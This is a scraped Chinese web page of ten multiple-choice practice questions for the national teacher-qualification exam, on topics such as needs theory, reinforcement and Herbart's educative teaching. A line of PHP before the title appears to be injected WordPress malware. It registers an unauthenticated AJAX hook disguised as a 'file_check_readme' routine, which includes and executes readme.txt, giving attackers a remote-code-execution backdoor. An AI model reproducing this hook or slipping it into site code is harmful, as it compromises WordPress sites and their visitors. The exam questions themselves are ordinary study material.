if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 【20140804】教师资格统考每日一练-全国教师资格考试网
  1. 全国教师资格考试网首页
  2. 资料
  3. 每日一练

【20140804】教师资格统考每日一练

来源： 国家教师资格考试网
分享 | 收藏 0

【20140804】教师资格统考每日一练更多试题请点击此处获得

1.下列哪种需要得不到满足时，容易使人产生孤独感?( )

A.生理需要
B.爱与归属需要
C.自我实现需要
D. 尊重需要

2.提出学习过程应始终以人为本，必须重视学习者的意愿、情感、需要等的学习观的是( )。

A.罗杰斯
B.布鲁纳
C.班杜拉
D.斯金纳

3.个体的胚胎发育要经历胚种阶段、( )和胎儿阶段。

A.外胚阶段
B.内胚阶段
C.中胚阶段
D.胚胎阶段

4.首先提倡普及教育的思想，并详细论证班级授课制的教育著作是( )。

A.昆体良的《雄辩术原理》
B.夸美纽斯的《大教学论》

C.赫尔巴特的《普通教育学》
D.杜威的《民主主义与教育》

5.格赛尔认为对人的发展起着决定作用的是( )。

A.家庭教育
B.后天学习
C.成熟机制
D.环境因素

6.个人能用言语进行直接陈述，主要用来回答事物是什么、为什么和怎么样的问题，可用来区别和辨别事物的知识，属于( )。

A.陈述性知识
B.程序性知识
C.操作性知识
D.策略性知识

7.班集体形成的条件和前进的动力是( )。

A.共同的奋斗目标
B.班主任的要求

C.班级内部的矛盾斗争
D.共同的活动

8.当学生表现出改正错误的行为，教师取消厌恶刺激，从而使该行为反应概率增加的过程是( )。

A.正强化
B.负强化
C.正惩罚
D.负惩罚

9.小学阶段的教学多运用直观形象方式，中学以后可增加抽象讲解，这体现了儿童身心发展具有( )特点。

A.主体性
B.个别差异性
C.阶段性
D.不平衡性

10.赫尔巴特说：“我不承认有任何‘无教育的教学’”，“教学如果没有进行道德教育，只是一种没有目的的手段”。这表明教学应该具有( )。

A.个体性功能
B.教育性功能
C.文化性功能
D.社会性功能

回顶部